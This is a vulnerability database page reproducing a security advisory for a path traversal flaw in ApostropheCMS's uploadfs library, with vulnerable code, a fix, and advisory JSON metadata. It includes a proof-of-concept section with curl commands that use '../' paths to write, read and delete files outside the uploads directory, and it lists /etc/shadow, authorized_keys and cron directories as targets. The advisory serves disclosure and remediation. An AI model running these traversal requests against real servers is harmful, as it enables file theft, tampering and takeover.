GHSA-GMFX-5G6X-RR72

Vulnerability from github – Published: 2026-10-20 18:21 – Updated: 2026-10-20 18:21
VLAI
Summary
ApostropheCMS: Path traversal in uploadfs
Details

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.


Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.

Screenshot 2026-07-22 at 08 57 46

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"

Screenshot 2026-07-22 at 08 58 36


Impact

Capability Risk
Arbitrary File Write Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution
Arbitrary File Read Exfiltrate /etc/shadow, application configs, database credentials
Arbitrary File Delete Destroy system or application files → Denial of Service

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "uploadfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.28.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-113651"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-20T18:21:59Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\nThe `uploadfs` library\u0027s local storage backend does not validate or sanitize user-supplied paths. The `prefixPath()` helper only strips double slashes (`//`) and the backend performs direct string concatenation (`uploadsPath + path`). An attacker can inject `../` sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.\n\n---\n\n## Details\n\n### Root Cause\n`packages/uploadfs/uploadfs.js:652-655`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655\n\n```javascript\nfunction prefixPath(path) {\n    // Resolve any double // that results from the prefix\n    return (self.prefix + path).replace(/\\/\\//g, \u0027/\u0027);\n}\n```\n\n`packages/uploadfs/lib/storage/local.js`\n\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104\nhttps://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108\n\n\n```javascript\ncopyIn: function(localPath, path, options, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    return copyFile(localPath, uploadPath, callback);\n},\nstreamOut: function(path, options) {\n    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]\n},\nremove: function(path, callback) {\n    const uploadPath = uploadsPath + path;  // [VULNERABLE]\n    fs.unlink(uploadPath, callback);\n```\n\n- `prefixPath()` does **not** normalize paths or reject `../`.\n- The local backend concatenates the path directly into the filesystem call.\n- Node.js resolves `/app/uploads/../../../tmp/pwned.txt` \u2192 `/tmp/pwned.txt`.\n\n---\n\n## Proof of Concept (PoC)\n\nHere is the poc files \nhttps://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk\n\n### Build and run\n```bash\ndocker load \u003c apostrophe-uploadfs-poc.tar\ndocker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc\npython3 exploit.py\n```\n\n### Expected output\n```text\n[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt\n[READ]\nStatus: 200| Body: You have been pwned!\n[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.\n```\n\n\u003cimg width=\"885\" height=\"171\" alt=\"Screenshot 2026-07-22 at 08 57 46\" src=\"https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae\" /\u003e\n\n### Manual reproduction\n```bash\n# Write outside uploads directory\ncurl -X POST http://localhost:3000/upload \\\n  -F \"path=../../../tmp/backdoor.txt\" \\\n  -F \"file=@-;filename=backdoor.txt\" \u003c\u003c\u003c \"malicious content\"\n\n# Read it back\ncurl \"http://localhost:3000/read?path=../../../tmp/backdoor.txt\"\n\n# Delete it\ncurl -X DELETE \"http://localhost:3000/remove?path=../../../tmp/backdoor.txt\"\n```\n\n\u003cimg width=\"1004\" height=\"114\" alt=\"Screenshot 2026-07-22 at 08 58 36\" src=\"https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58\" /\u003e\n\n---\n\n## Impact\n\n| Capability | Risk |\n|------------|------|\n| **Arbitrary File Write** | Write to `/etc/cron.d/`, `.ssh/authorized_keys`, or webroot files \u2192 **Remote Code Execution** |\n| **Arbitrary File Read** | Exfiltrate `/etc/shadow`, application configs, database credentials |\n| **Arbitrary File Delete** | Destroy system or application files \u2192 **Denial of Service** |\n\n---\n\n## Remediation\n\nAdd path containment validation inside `uploadfs` (and every storage backend) before any filesystem operation:\n\n```javascript\nconst path = require(\u0027path\u0027);\nfunction safePath(base, target) {\n  const resolved = path.resolve(base, target);\n  if (!resolved.startsWith(path.resolve(base) + path.sep)) {\n    throw new Error(\u0027Path traversal blocked: target is outside the intended directory\u0027);\n  }\n  return resolved;\n}\n```",
  "id": "GHSA-gmfx-5g6x-rr72",
  "modified": "2026-10-20T18:21:59Z",
  "published": "2026-10-20T18:21:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/releases/tag/uploadfs@1.28.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ApostropheCMS: Path traversal in uploadfs"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.